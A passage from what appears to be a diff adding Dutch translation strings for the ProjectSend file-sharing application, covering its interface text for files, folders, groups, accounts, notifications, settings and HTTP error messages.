folder cannot be moved into itself.": "Een map kan niet in zichzelf worden geplaatst.", + "A folder has been shared with you": "Er is een map met je gedeeld", + "A folder was created": "Een map is aangemaakt", + "A folder was deleted": "Een map is verwijderd", + "A folder was moved": "Een map is verplaatst", + "A folder was renamed": "Een map is hernoemd", + "A folder was shared": "Een map is gedeeld", + "A folder was unshared": "Het delen van een map is ingetrokken", + "A group membership request was approved": "Een aanvraag voor groepslidmaatschap is goedgekeurd", + "A group membership request was denied": "Een aanvraag voor groepslidmaatschap is geweigerd", + "A group membership was requested": "Er is groepslidmaatschap aangevraagd", + "A group was created": "Een groep is aangemaakt", + "A group was deleted": "Een groep is verwijderd", + "A group was updated": "Een groep is bijgewerkt", + "A new client account was created: :name (:email).": "Er is een nieuw klantaccount aangemaakt: :name (:email).", + "A new client has registered": "Een nieuwe klant heeft zich geregistreerd", + "A new ProjectSend version is available": "Er is een nieuwe versie van ProjectSend beschikbaar", + "A public group's page is always reachable by its own link once you mark it public — this section only controls the base URL and an optional directory listing every public group and file at once.": "De pagina van een openbare groep is altijd bereikbaar via de eigen link zodra je die als openbaar markeert — dit onderdeel bepaalt alleen de basis-URL en een optioneel overzicht dat alle openbare groepen en bestanden in één keer toont.", + "A public link was created": "Er is een openbare link aangemaakt", + "A public link was revoked": "Een openbare link is ingetrokken", + "A role was created": "Een rol is aangemaakt", + "A role was deleted": "Een rol is verwijderd", + "A role was updated": "Een rol is bijgewerkt", + "A Timeout Occurred": "Time-out opgetreden", + "About": "Over", + "Accept": "Aanvaarden", + "Accepted": "Aanvaard", + "Account": "Account", + "Account deletion grace period (days)": "Respijtperiode voor accountverwijdering (dagen)", + "Account is active": "Account is actief", + "Account Manager": "Accountmanager", + "Account request approved.": "Accountaanvraag goedgekeurd.", + "Account request denied.": "Accountaanvraag geweigerd.", + "Account requests": "Accountaanvragen", + "Account settings": "Accountinstellingen", + "Account type": "Accounttype", + "Accounts": "Accounts", + "Accounts covered by this requirement must set up two-factor authentication before they can continue using the application.": "Accounts waarvoor deze eis geldt, moeten tweefactorauthenticatie instellen voordat ze de applicatie verder kunnen gebruiken.", + "Action": "Actie", + "Actions": "Acties", + "Activate": "Activeren", + "Activated the account \":subject\"": "Heeft het account \":subject\" geactiveerd", + "Activating this account approves its pending request.": "Dit account activeren keurt de openstaande aanvraag ervan goed.", + "Active": "Actief", + "Activity": "Activiteit", + "Activity log": "Activiteitenlogboek", + "Add": "Toevoegen", + "Add :name": ":Name toevoegen", + "Add a category": "Een categorie toevoegen", + "Add a client": "Een klant toevoegen", + "Add a second step to your login using an authenticator app.": "Voeg een tweede stap toe aan je aanmelding met een authenticator-app.", + "Add new clients to this group": "Nieuwe klanten aan deze groep toevoegen", + "Added \":member\" to the group \":subject\"": "Heeft \":member\" aan de groep \":subject\" toegevoegd", + "Admin": "Beheerder", + "Admin notification recipients": "Ontvangers van beheerdersmeldingen", + "Admin: client uploaded a file": "Beheer: klant heeft een bestand geüpload", + "Admin: group membership requested": "Beheer: groepslidmaatschap aangevraagd", + "Admin: new client registered": "Beheer: nieuwe klant geregistreerd", + "Administration": "Beheer", + "After uploading you can assign it to clients and groups": "Na het uploaden kun je het aan klanten en groepen toewijzen", + "Agree": "Akkoord", + "All": "Alle", + "All actions": "Alle acties", + "All categories": "Alle categorieën", + "All clients": "Alle klanten", + "All comments": "Alle reacties", + "All failed jobs deleted.": "Alle mislukte taken zijn verwijderd.", + "All files": "Alle bestanden", + "All groups": "Alle groepen", + "All permissions": "Alle rechten", + "All rights reserved.": "Alle rechten voorbehouden.", + "All roles": "Alle rollen", + "All statuses": "Alle statussen", + "All system users": "Alle systeemgebruikers", + "All types": "Alle typen", + "Already have an account?": "Heb je al een account?", + "Already Reported": "Al gemeld", + "Always": "Altijd", + "Amazon SES": "Amazon SES", + "An account has been created for you. You can log in now.": "Er is een account voor je aangemaakt. Je kunt nu inloggen.", + "An account was activated": "Een account is geactiveerd", + "An account was created": "Een account is aangemaakt", + "An account was deactivated": "Een account is gedeactiveerd", + "An account was deleted": "Een account is verwijderd", + "An account was permanently erased": "Een account is definitief gewist", + "An account was updated": "Een account is bijgewerkt", + "An administrator deleting an account is asked this each time; the automatic erasure of self-deleted accounts runs unattended and follows this choice, so nothing is ever left ownerless.": "Een beheerder die een account verwijdert, krijgt deze vraag elke keer; het automatisch wissen van accounts die zichzelf hebben verwijderd verloopt zonder toezicht en volgt deze keuze, zodat er nooit iets zonder eigenaar achterblijft.", + "An administrator will review your group requests.": "Een beheerder beoordeelt je groepsaanvragen.", + "An orphan file was deleted": "Een verweesd bestand is verwijderd", + "An orphan file was imported": "Een verweesd bestand is geïmporteerd", + "An overview of this installation": "Een overzicht van deze installatie", + "Any audience": "Elk publiek", + "Anyone": "Iedereen", + "Anyone using it will no longer be able to download the file.": "Wie hem gebruikt, kan het bestand niet meer downloaden.", + "Appearance": "Weergave", + "Applies to the guest-facing public group/file pages and the \"My files\" client portal.": "Geldt voor de openbare groeps- en bestandspagina's voor bezoekers en voor het klantportaal \"Mijn bestanden\".", + "Apply filters": "Filters toepassen", + "Approve": "Goedkeuren", + "Approve account requests": "Accountaanvragen goedkeuren", + "Approve group membership requests": "Aanvragen voor groepslidmaatschap goedkeuren", + "Approved the account request of \":subject\"": "Heeft de accountaanvraag van \":subject\" goedgekeurd", + "Approved the membership of \":member\" to the group \":subject\"": "Heeft het lidmaatschap van \":member\" van de groep \":subject\" goedgekeurd", + "Archive": "Archiveren", + "Are deleted along with the account": "Worden samen met het account verwijderd", + "Are reassigned to another account": "Worden aan een ander account toegewezen", + "Are you sure you want to delete your account?": "Weet je zeker dat je je account wilt verwijderen?", + "Assign": "Toewijzen", + "Assign categories to files": "Categorieën aan bestanden toewijzen", + "Assigned": "Toegewezen", + "Assigned clients": "Toegewezen klanten", + "Assigned the file \":subject\" to :target": "Heeft het bestand \":subject\" toegewezen aan :target", + "Associate": "Associëren", + "Attach": "Koppelen", + "Audience": "Publiek", + "Authentication code": "Verificatiecode", + "Authentication requirements for this installation": "Authenticatievereisten voor deze installatie", + "Author": "Auteur", + "Available groups": "Beschikbare groepen", + "Available placeholders": "Beschikbare tijdelijke aanduidingen", + "Back to My files": "Terug naar Mijn bestanden", + "Bad Gateway": "Slechte poort", + "Bad Request": "Foute aanvraag", + "Bandwidth Limit Exceeded": "Bandbreedte overschreden", + "Blue": "Blauw", + "Body": "Berichttekst", + "Browse": "Bladeren", + "Browse publicly shared groups and files below.": "Blader hieronder door openbaar gedeelde groepen en bestanden.", + "Built-in": "Ingebouwd", + "Built-in role names cannot be changed.": "De naam van ingebouwde rollen kan niet worden gewijzigd.", + "Built-in roles cannot be deleted.": "Ingebouwde rollen kunnen niet worden verwijderd.", + "Call to action": "Call-to-action", + "Cancel": "Annuleren", + "Categories": "Categorieën", + "Category": "Categorie", + "Category created.": "Categorie aangemaakt.", + "Category deleted.": "Categorie verwijderd.", + "Category updated.": "Categorie bijgewerkt.", + "Changed their password": "Heeft het eigen wachtwoord gewijzigd", + "Checkbox": "Selectievakje", + "Checksum (SHA-256)": "Controlesom (SHA-256)", + "Choose": "Kiezen", + "Choose :name": ":Name kiezen", + "Choose an account…": "Kies een account…", + "Choose File": "Bestand kiezen", + "Choose Image": "Afbeelding kiezen", + "Choose which notifications also send you an email. Everything always appears in the notification bell.": "Kies welke meldingen je ook per e-mail ontvangt. Alles verschijnt sowieso altijd in de meldingsbel.", + "Clear": "Wissen", + "Click to copy": "Klik om te kopiëren", + "Client": "Klant", + "Client account approved": "Klantaccount goedgekeurd", + "Client account denied": "Klantaccount geweigerd", + "Client account edited": "Klantaccount bewerkt", + "Client Closed Request": "Klant Gesloten Verzoek", + "Client created.": "Klant aangemaakt.", + "Client deleted.": "Klant verwijderd.", + "Client Manager": "Klantbeheerder", + "Client settings": "Klantinstellingen", + "Client updated.": "Klant bijgewerkt.", + "Client welcome (staff-created account)": "Welkom klant (account aangemaakt door team)", + "Clients": "Klanten", + "Clients and groups that can download this file": "Klanten en groepen die dit bestand kunnen downloaden", + "Clients asking to join groups": "Klanten die lid willen worden van groepen", + "Clients who registered themselves and are waiting for approval": "Klanten die zichzelf hebben geregistreerd en op goedkeuring wachten", + "Close": "Sluiten", + "Collapse": "Inklappen", + "Collapse All": "Alles inklappen", + "Color": "Kleur", + "Columns": "Kolommen", + "Comment": "Reageren", + "Confirm": "Bevestigen", + "Confirm password": "Wachtwoord bevestigen", + "Conflict": "Conflict", + "Connect": "Verbinden", + "Connection Closed Without Response": "Verbinding gesloten zonder reactie", + "Connection Timed Out": "Connectie duurt te lang", + "Continue": "Doorgaan", + "Copy URL": "URL kopiëren", + "Copy link": "Link kopiëren", + "Counters": "Tellers", + "Create": "Aanmaken", + "Create :name": ":Name aanmaken", + "Create a client account": "Een klantaccount aanmaken", + "Create a public link": "Een openbare link aanmaken", + "Create a staff account for this installation": "Een teamaccount voor deze installatie aanmaken", + "Create administrator account": "Beheerdersaccount aanmaken", + "Create an account for someone you share files with": "Maak een account aan voor iemand met wie je bestanden deelt", + "Create categories": "Categorieën aanmaken", + "Create category": "Categorie aanmaken", + "Create client": "Klant aanmaken", + "Create clients": "Klanten aanmaken", + "Create custom assets": "Eigen assets aanmaken", + "Create field": "Veld aanmaken", + "Create folder": "Map aanmaken", + "Create group": "Groep aanmaken", + "Create groups": "Groepen aanmaken", + "Create link": "Link aanmaken", + "Create own folders": "Eigen mappen aanmaken", + "Create role": "Rol aanmaken", + "Create system users": "Systeemgebruikers aanmaken", + "Create user": "Gebruiker aanmaken", + "Created": "Aangemaakt", + "Created a public link for the file \":subject\"": "Heeft een openbare link aangemaakt voor het bestand \":subject\"", + "Created by": "Aangemaakt door", + "Created the account \":subject\"": "Heeft het account \":subject\" aangemaakt", + "Created the folder \":subject\"": "Heeft de map \":subject\" aangemaakt", + "Created the group \":subject\"": "Heeft de groep \":subject\" aangemaakt", + "Created the role \":subject\"": "Heeft de rol \":subject\" aangemaakt", + "Custom": "Aangepast", + "Custom assets": "Eigen assets", + "Custom fields": "Aangepaste velden", + "Custom links with an optional expiration date or download limit, no account needed.": "Links op maat, met een optionele vervaldatum of downloadlimiet, zonder dat er een account nodig is.", + "Custom roles let you grant a precise set of permissions": "Met aangepaste rollen ken je precies de rechten toe die je wilt", + "Custom SMTP": "Eigen SMTP", + "Customize the wording of any transactional email sent by this installation.": "Pas de tekst aan van elke transactionele e-mail die deze installatie verstuurt.", + "Customized": "Aangepast", + "Dark": "Donker", + "Dashboard": "Overzicht", + "Dashboard widgets": "Overzichtswidgets", + "Data retention and visibility for this installation": "Gegevensbewaring en zichtbaarheid voor deze installatie", + "Database": "Database", + "Date": "Datum", + "Days before a denied membership request can be made again": "Dagen voordat een geweigerde lidmaatschapsaanvraag opnieuw mag worden gedaan", + "Deactivate your account now; it is permanently erased after :days days": "Deactiveer je account nu; na :days dagen wordt het definitief gewist", + "Deactivated the account \":subject\"": "Heeft het account \":subject\" gedeactiveerd", + "Default": "Standaard", + "Defaults to the file name.": "Standaard de bestandsnaam.", + "Delete": "Verwijderen", + "Delete :name": ":Name verwijderen", + "Delete account": "Account verwijderen", + "Delete all": "Alles verwijderen", + "Delete all failed": "Alle mislukte verwijderen", + "Delete all failed jobs?": "Alle mislukte taken verwijderen?", + "Delete categories": "Categorieën verwijderen", + "Delete category": "Categorie verwijderen", + "Delete category?": "Categorie verwijderen?", + "Delete client": "Klant verwijderen", + "Delete client?": "Klant verwijderen?", + "Delete clients": "Klanten verwijderen", + "Delete custom assets": "Eigen assets verwijderen", + "Delete field": "Veld verwijderen", + "Delete field?": "Veld verwijderen?", + "Delete file": "Bestand verwijderen", + "Delete file?": "Bestand verwijderen?", + "Delete files": "Bestanden verwijderen", + "Delete folder": "Map verwijderen", + "Delete folder?": "Map verwijderen?", + "Delete group": "Groep verwijderen", + "Delete group?": "Groep verwijderen?", + "Delete groups": "Groepen verwijderen", + "Delete others' files": "Bestanden van anderen verwijderen", + "Delete own files": "Eigen bestanden verwijderen", + "Delete role": "Rol verwijderen", + "Delete role?": "Rol verwijderen?", + "Delete selected": "Selectie verwijderen", + "Delete selected files?": "Geselecteerde bestanden verwijderen?", + "Delete system users": "Systeemgebruikers verwijderen", + "Delete this file?": "Dit bestand verwijderen?", + "Delete user": "Gebruiker verwijderen", + "Delete user?": "Gebruiker verwijderen?", + "Deleted account": "Verwijderd account", + "Deleted the account \":name\"": "Heeft het account \":name\" verwijderd", + "Deleted the file \":name\"": "Heeft het bestand \":name\" verwijderd", + "Deleted the folder \":name\" and its contents": "Heeft de map \":name\" en de inhoud ervan verwijderd", + "Deleted the group \":name\"": "Heeft de groep \":name\" verwijderd", + "Deleted the orphan file \":name\"": "Heeft het verweesde bestand \":name\" verwijderd", + "Deleted the role \":name\"": "Heeft de rol \":name\" verwijderd", + "Denied the account request of \":name\"": "Heeft de accountaanvraag van \":name\" geweigerd", + "Denied the membership of \":member\" to the group \":subject\"": "Heeft het lidmaatschap van \":member\" van de groep \":subject\" geweigerd", + "Deny": "Weigeren", + "Deny this request?": "Deze aanvraag weigeren?", + "Description": "Omschrijving", + "Description (optional)": "Omschrijving (optioneel)", + "Detach": "Loskoppelen", + "Details": "Informatie", + "Disable": "Uitschakelen", + "Disable two-factor authentication?": "Tweefactorauthenticatie uitschakelen?", + "Disabled two-factor authentication": "Heeft tweefactorauthenticatie uitgeschakeld", + "Discard": "Verwerpen", + "Discourage search engines from indexing this site": "Zoekmachines ontmoedigen deze site te indexeren", + "Dismiss": "Sluiten", + "Documentation": "Documentatie", + "Don't have an account?": "Heb je nog geen account?", + "Done": "Voltooien", + "Down": "Omlaag", + "Download": "Downloaden", + "Download as zip": "Als ZIP downloaden", + "Downloaded the file \":subject\"": "Heeft het bestand \":subject\" gedownload", + "Downloaded the file \":subject\" via a public link": "Heeft het bestand \":subject\" via een openbare link gedownload", + "Downloaded the file \":subject\" via the public group listing": "Heeft het bestand \":subject\" via het openbare groepsoverzicht gedownload", + "Downloads": "Downloads", + "Downloads are never recorded with an IP address.": "Downloads worden nooit met een IP-adres vastgelegd.", + "Drag to reorder": "Sleep om te herschikken", + "Drag widgets here": "Sleep widgets hierheen", + "Dropdown": "Keuzelijst", + "Duplicate": "Dupliceren", + "Duplicate :name": ":Name dupliceren", + "Edit": "Bewerken", + "Edit :name": ":Name bewerken", + "Edit categories": "Categorieën bewerken", + "Edit clients": "Klanten bewerken", + "Edit custom assets": "Eigen assets bewerken", + "Edit email templates": "E-mailsjablonen bewerken", + "Edit groups": "Groepen bewerken", + "Edit others' files": "Bestanden van anderen bewerken", + "Edit own files": "Eigen bestanden bewerken", + "Edit system settings": "Systeeminstellingen bewerken", + "Edit system users": "Systeemgebruikers bewerken", + "Edit this client account": "Dit klantaccount bewerken", + "Edit this staff account": "Dit teamaccount bewerken", + "Edition": "Editie", + "Email": "E-mail", + "Email address": "E-mailadres", + "Email settings": "E-mailinstellingen", + "Email template reset to default.": "E-mailsjabloon teruggezet naar de standaardtekst.", + "Email template saved.": "E-mailsjabloon opgeslagen.", + "Email templates": "E-mailsjablonen", + "Empty file": "Leeg bestand", + "Enable": "Inschakelen", + "Enable the public directory page": "De openbare overzichtspagina inschakelen", + "Enable two-factor authentication": "Tweefactorauthenticatie inschakelen", + "Enabled two-factor authentication": "Heeft tweefactorauthenticatie ingeschakeld", + "Encrypted environment file already exists.": "Versleuteld environment-bestand bestaat al.", + "Encrypted environment file not found.": "Versleuteld environment-bestand niet gevonden.", + "Encryption": "Versleuteling", + "Enter one of your recovery codes.": "Voer een van je herstelcodes in.", + "Enter the six-digit code from your authenticator app.": "Voer de zescijferige code uit je authenticator-app in.", + "Enter your email and password below to log in": "Voer hieronder je e-mailadres en wachtwoord in om in te loggen", + "Environment": "Omgeving", + "Environment file already exists.": "Environment-bestand bestaat al.", + "Environment file not found.": "Environment-bestand niet gevonden.", + "errors": "fouten", + "Every comment on files you can see, newest first": "Alle reacties op bestanden die je kunt zien, nieuwste eerst", + "Every download records the IP address of whoever downloaded it.": "Bij elke download wordt het IP-adres van de downloader vastgelegd.", + "Everyone": "Iedereen", + "Everything that happened on this installation, newest first": "Alles wat er op deze installatie is gebeurd, nieuwste eerst", + "Expand": "Uitklappen", + "Expand All": "Alles uitklappen", + "Expectation Failed": "Niet voldaan aan verwachting", + "Expires": "Verloopt", + "Expires :date": "Verloopt op :date", + "Explanation": "Uitleg", + "Export": "Exporteren", + "Export :name": ":Name exporteren", + "Export CSV": "CSV exporteren", + "External storage": "Externe opslag", + "Extra fields shown on the client create and edit screens.": "Extra velden op de schermen voor het aanmaken en bewerken van klanten.", + "Failed Dependency": "Gefaalde afhankelijkheid", + "Failed to send: :error": "Verzenden mislukt: :error", + "File": "Bestand", + "File: :name": "Bestand: :name", + "File deleted.": "Bestand verwijderd.", + "File imported.": "Bestand geïmporteerd.", + "File name": "Bestandsnaam", + "File shared with a client": "Bestand gedeeld met een klant", + "File updated.": "Bestand bijgewerkt.", + "File uploaded.": "Bestand geüpload.", + "Files": "Bestanden", + "Files can only be assigned to clients or groups.": "Bestanden kunnen alleen aan klanten of groepen worden toegewezen.", + "Files shared with you": "Bestanden die met je gedeeld zijn", + "Files sitting on disk with no matching record — from an interrupted upload, a restore, or manual filesystem access.": "Bestanden die op schijf staan zonder bijbehorend record — door een afgebroken upload, een herstelactie of handmatige toegang tot het bestandssysteem.", + "Flat labels for files — independent of folders. A file can have several.": "Losse labels voor bestanden — los van mappen. Een bestand kan er meerdere hebben.", + "Folder": "Map", + "Folder: :name": "Map: :name", + "Folder created.": "Map aangemaakt.", + "Folder deleted.": "Map verwijderd.", + "Folder shared with a client": "Map gedeeld met een klant", + "Folders can only be shared with clients or groups.": "Mappen kunnen alleen met klanten of groepen worden gedeeld.", + "Folders cannot be nested more than :max levels deep.": "Mappen kunnen niet dieper dan :max niveaus worden genest.", + "Forbidden": "Geen toegang", + "Forgot password?": "Wachtwoord vergeten?", + "Found": "Gevonden", + "From": "Van", + "From address": "Afzenderadres", + "From name": "Afzendernaam", + "Gateway Timeout": "Gateway-time-out", + "General": "Algemeen", + "General settings": "Algemene instellingen", + "Go Home": "Terug naar de voorpagina", + "Go to page :page": "Ga naar pagina :page", + "Go to the login form": "Naar het inlogformulier", + "Gone": "Verdwenen", + "Gray": "Grijs", + "Green": "Groen", + "Group": "Groep", + "Group created.": "Groep aangemaakt.", + "Group deleted.": "Groep verwijderd.", + "Group membership approved": "Groepslidmaatschap goedgekeurd", + "Group membership denied": "Groepslidmaatschap geweigerd", + "Group updated.": "Groep bijgewerkt.", + "Groups": "Groepen", + "Groups clients can request to join at registration": "Groepen waarvoor klanten zich bij registratie kunnen aanmelden", + "Groups let you assign files to several clients at once": "Met groepen wijs je bestanden in één keer aan meerdere klanten toe", + "Hello :name,": "Hallo :name,", + "Hello, :name": "Hallo, :name", + "Hello!": "Hallo!", + "Here is what has been shared with you": "Dit is er met je gedeeld", + "Hide": "Verbergen", + "Hide :name": ":Name verbergen", + "Home": "Startpagina", + "Host": "Host", + "How client accounts are created on this installation": "Hoe klantaccounts op deze installatie ontstaan", + "How long a self-deleted account is kept before it is permanently erased.": "Hoe lang een door de gebruiker verwijderd account bewaard blijft voordat het definitief wordt gewist.", + "How many files/folders were shared at once": "Hoeveel bestanden/mappen er in één keer zijn gedeeld", + "HTTP Version Not Supported": "HTTP-versie wordt niet ondersteund", + "I'm a teapot": "Ik ben een theepot", + "If this account is no longer available when an erasure runs, the files are deleted instead of being left ownerless.": "Als dit account niet meer bestaat op het moment dat er gewist wordt, worden de bestanden verwijderd in plaats van zonder eigenaar achter te blijven.", + "If you did not create an account, no further action is required.": "Als je geen account hebt aangemaakt hoef je verder niets te doen.", + "If you did not request a password reset, no further action is required.": "Als je geen wachtwoordherstel hebt aangevraagd, hoef je verder niets te doen.", + "If you received this, your email configuration is working.": "Als je dit hebt ontvangen, werkt je e-mailconfiguratie.", + "If you're having trouble clicking the \":actionText\" button, copy and paste the URL below\ninto your web browser:": "Als je problemen hebt met de \":actionText\" knop, kopieer en plak de URL hieronder\nin je webbrowser:", + "IM Used": "Ik ben gebruikt", + "Image": "Afbeelding", + "Impersonate": "Voordoen als een ander", + "Impersonation": "Imitatie", + "Import": "Importeren", + "Import :name": ":Name importeren", + "Import orphan files": "Verweesde bestanden importeren", + "Import selected": "Selectie importeren", + "Imported the orphan file \":subject\"": "Heeft het verweesde bestand \":subject\" geïmporteerd", + "Inactive": "Inactief", + "Include this file when a group it's shared with is public.": "Dit bestand meenemen wanneer een groep waarmee het gedeeld is openbaar is.", + "Insert": "Invoegen", + "Installed ProjectSend": "Heeft ProjectSend geïnstalleerd", + "Insufficient Storage": "Onvoldoende opslag", + "Internal Server Error": "Interne serverfout", + "Introduction": "Introductie", + "Invalid filename.": "Ongeldige bestandsnaam.", + "Invalid JSON was returned from the route.": "Er is ongeldige JSON teruggekomen van de route.", + "Invalid SSL Certificate": "Ongeldig SSL-certificaat", + "Label": "Label", + "Last modified": "Laatst gewijzigd", + "Latest files": "Nieuwste bestanden", + "Leave": "Verlaten", + "Leave empty for a link that never expires.": "Laat leeg voor een link die nooit verloopt.", + "Leave empty for unlimited downloads.": "Laat leeg voor onbeperkte downloads.", + "Leave group": "Groep verlaten", + "Leave this group?": "Deze groep verlaten?", + "Left the group \":subject\"": "Heeft de groep \":subject\" verlaten", + "length": "lengte", + "Length Required": "Lengte vereist", + "Library": "Bibliotheek", + "Light": "Licht", + "Like": "Leuk vinden", + "Limit download counts": "Het aantal downloads beperken", + "Limit to assigned clients": "Beperken tot toegewezen klanten", + "Limits for files uploaded to this installation": "Limieten voor bestanden die naar deze installatie worden geüpload", + "Link unavailable": "Link niet beschikbaar", + "Load": "Laden", + "Loading…": "Laden…", + "Local storage": "Lokale opslag", + "Localize": "Lokaliseren", + "Location": "Locatie", + "Locked": "Afgesloten", + "Log in": "Inloggen", + "Log In": "Inloggen", + "Log in to your account": "Log in op je account", + "Log out": "Uitloggen", + "Log Out": "Uitloggen", + "Logged in": "Is ingelogd", + "Logged out": "Is uitgelogd", + "Login": "Inloggen", + "Logout": "Uitloggen", + "Loop Detected": "Loop gedetecteerd", + "Mail provider settings saved.": "Instellingen van de e-mailprovider opgeslagen.", + "Mailgun": "Mailgun", + "Maintenance Mode": "Dienst niet beschikbaar", + "Manage custom fields": "Aangepaste velden beheren", + "Manage public links from the edit page.": "Beheer openbare links via de bewerkpagina.", + "Manage system users and roles": "Systeemgebruikers en rollen beheren", + "Manage updates": "Updates beheren", + "Manage your profile and account settings": "Beheer je profiel en accountinstellingen", + "Mark all read": "Alles als gelezen markeren", + "Mark as read": "Als gelezen markeren", + "Mark as unread": "Als ongelezen markeren", + "Max downloads": "Max. downloads", + "Maximum file size (MB)": "Maximale bestandsgrootte (MB)", + "Member": "Lid", + "Members": "Leden", + "Members of this role only see files and folders belonging to the clients assigned to them, plus their own uploads.": "Leden met deze rol zien alleen bestanden en mappen van de klanten die aan hen zijn toegewezen, plus hun eigen uploads.", + "Membership request approved.": "Lidmaatschapsaanvraag goedgekeurd.", + "Membership request denied.": "Lidmaatschapsaanvraag geweigerd.", + "Membership requests": "Lidmaatschapsaanvragen", + "Membership requests are reviewed by an administrator": "Lidmaatschapsaanvragen worden door een beheerder beoordeeld", + "Method Not Allowed": "Methode niet toegestaan", + "Minutes until the reset link expires": "Minuten totdat de herstellink verloopt", + "Misdirected Request": "Verkeerd geadresseerd verzoek", + "Modified": "Gewijzigd", + "Moved Permanently": "Definitief verplaatst", + "Moved the folder \":subject\"": "Heeft de map \":subject\" verplaatst", + "Multi-line text": "Tekst van meerdere regels", + "Multi-Status": "Meerdere statussen", + "Multiple Choices": "Meerkeuze", + "Multiple files/folders shared at once (digest)": "Meerdere bestanden/mappen in één keer gedeeld (samenvatting)", + "My files": "Mijn bestanden", + "My groups": "Mijn groepen", + "Name": "Naam", + "Name or description": "Naam of omschrijving", + "Name or email address": "Naam of e-mailadres", + "Never": "Nooit", + "Never expires": "Verloopt nooit", + "Network Authentication Required": "Netwerkauthenticatie vereist", + "Network Connect Timeout Error": "Fout bij time-out netwerkverbinding", + "Network Read Timeout Error": "Time-outfout netwerk lezen", + "New": "Nieuwe", + "New :name": "Nieuwe :name", + "New category": "Nieuwe categorie", + "New client": "Nieuwe klant", + "New client registrations and client uploads are sent here — at least one address is required.": "Nieuwe klantregistraties en uploads van klanten komen hier binnen — er is minstens één adres nodig.", + "New field": "Nieuw veld", + "New folder": "Nieuwe map", + "New group": "Nieuwe groep", + "New membership request from :client for the group \":group\".": "Nieuwe lidmaatschapsaanvraag van :client voor de groep \":group\".", + "New password (leave blank to keep current)": "Nieuw wachtwoord (laat leeg om het huidige te behouden)", + "New role": "Nieuwe rol", + "New user": "Nieuwe gebruiker", + "News": "Nieuws", + "Next": "Volgende", + "No": "Nee", + "No activity matches these filters.": "Geen activiteit voldoet aan deze filters.", + "No activity recorded yet.": "Nog geen activiteit vastgelegd.", + "No categories match your search.": "Geen categorie komt overeen met je zoekopdracht.", + "No categories yet.": "Nog geen categorieën.", + "No clients match these filters.": "Geen klant voldoet aan deze filters.", + "No clients yet.": "Nog geen klanten.", + "No comments match these filters.": "Geen reactie voldoet aan deze filters.", + "No Content": "Geen inhoud", + "No custom fields yet.": "Nog geen aangepaste velden.", + "No downloads recorded yet.": "Nog geen downloads vastgelegd.", + "No fields match your search.": "Geen veld komt overeen met je zoekopdracht.", + "No files have been shared with you yet.": "Er zijn nog geen bestanden met je gedeeld.", + "No files here yet.": "Hier staan nog geen bestanden.", + "No files or folders match your search.": "Geen bestand of map komt overeen met je zoekopdracht.", + "No files yet. Upload the first one.": "Nog geen bestanden. Upload het eerste.", + "No folder": "Geen map", + "No groups match these filters.": "Geen groep voldoet aan deze filters.", + "No groups yet.": "Nog geen groepen.", + "No members yet.": "Nog geen leden.", + "No more categories": "Geen categorieën meer", + "No more clients to add": "Geen klanten meer om toe te voegen", + "No news yet.": "Nog geen nieuws.", + "No orphan files found.": "Geen verweesde bestanden gevonden.", + "No orphan files match your search.": "Geen verweesd bestand komt overeen met je zoekopdracht.", + "No pending requests.": "Geen openstaande aanvragen.", + "No public links yet.": "Nog geen openbare links.", + "No recipients added yet.": "Nog geen ontvangers toegevoegd.", + "No requests match your search.": "Geen aanvraag komt overeen met je zoekopdracht.", + "No roles match this filter.": "Geen rol voldoet aan dit filter.", + "No size limit. Uploads can be paused and resume automatically after interruptions.": "Geen groottelimiet. Uploads kunnen worden gepauzeerd en hervatten automatisch na een onderbreking.", + "No users match these filters.": "Geen gebruiker voldoet aan deze filters.", + "No users yet.": "Nog geen gebruikers.", + "Nobody (optional for everyone)": "Niemand (optioneel voor iedereen)", + "Non-Authoritative Information": "Niet-gemachtigde informatie", + "None": "Geen", + "None of the selected items could be found.": "Geen van de geselecteerde items is gevonden.", + "Not Acceptable": "Niet aanvaardbaar", + "Not Extended": "Niet verlengd", + "Not Found": "Niet gevonden", + "Not Implemented": "Niet geïmplementeerd", + "Not Modified": "Niet gewijzigd", + "Not shared with anyone yet.": "Nog met niemand gedeeld.", + "Notification settings": "Meldingsinstellingen", + "Notifications": "Meldingen", + "Nothing is publicly shared yet.": "Er is nog niets openbaar gedeeld.", + "of": "van", + "OK": "OK", + "One option per line": "Eén optie per regel", + "Only clients can be group members.": "Alleen klanten kunnen lid van een groep zijn.", + "Only clients can comment here.": "Alleen klanten kunnen hier reageren.", + "Only for anonymous downloads": "Alleen bij anonieme downloads", + "Only people who are signed in can comment here.": "Alleen ingelogde personen kunnen hier reageren.", + "Only staff can comment here.": "Alleen het team kan hier reageren.", + "Only the wording below is editable — any button or link in this email stays fixed.": "Alleen de tekst hieronder is aanpasbaar — knoppen en links in deze e-mail blijven ongewijzigd.", + "Open": "Openen", + "Open folder": "Map openen", + "Open in a current window": "Openen in huidig venster", + "Open in a new window": "Openen in nieuw venster", + "Open in a parent frame": "Openen in bovenliggend frame", + "Open in the topmost frame": "Openen in bovenste frame", + "Open on the website": "Openen op de website", + "Open public listing": "Openbaar overzicht openen", + "Options": "Opties", + "Or enter this key manually:": "Of voer deze sleutel handmatig in:", + "Orange": "Oranje", + "Origin Is Unreachable": "Herkomst is onbereikbaar", + "Outgoing email": "Uitgaande e-mail", + "Outgoing email theme": "Thema voor uitgaande e-mail", + "Page :current of :last": "Pagina :current van :last", + "Page Expired": "Pagina niet meer geldig", + "Pagination Navigation": "Paginanavigatie", + "Partial Content": "Gedeeltelijke inhoud", + "Password": "Wachtwoord", + "Password reset": "Wachtwoordherstel", + "Path": "Pad", + "Payload Too Large": "Aanvraag te groot", + "Payment Required": "Betaling vereist", + "Pending approval": "Wacht op goedkeuring", + "Permanent Redirect": "Definitieve omleiding", + "Permanently erased a deleted account": "Heeft een verwijderd account definitief gewist", + "Permissions": "Rechten", + "Pink": "Roze", + "Platform": "Platform", + "Please click the button below to verify your email address.": "Klik op de knop hieronder om je e-mailadres te verifiëren.", + "Port": "Poort", + "Postmark": "Postmark", + "Powered by ProjectSend": "Mogelijk gemaakt door ProjectSend", + "Precondition Failed": "Niet voldaan aan de vooraf gestelde voorwaarde", + "Precondition Required": "Voorwaarde nodig", + "Preparing your download…": "Je download wordt voorbereid…", + "Preview": "Voorvertoning", + "Preview: :theme": "Voorbeeld: :theme", + "Previous": "Vorige", + "Price": "Prijs", + "Privacy": "Privacy", + "Privacy settings": "Privacyinstellingen", + "Private": "Privé", + "Processing": "Verwerken", + "Profile": "Profiel", + "Profile information was updated": "De profielgegevens zijn bijgewerkt", + "ProjectSend :latestVersion is available (you have :currentVersion)": "ProjectSend :latestVersion is beschikbaar (jij hebt :currentVersion)", + "ProjectSend is free, open source software for sending files to your clients. It is released under the :license, which means you are free to 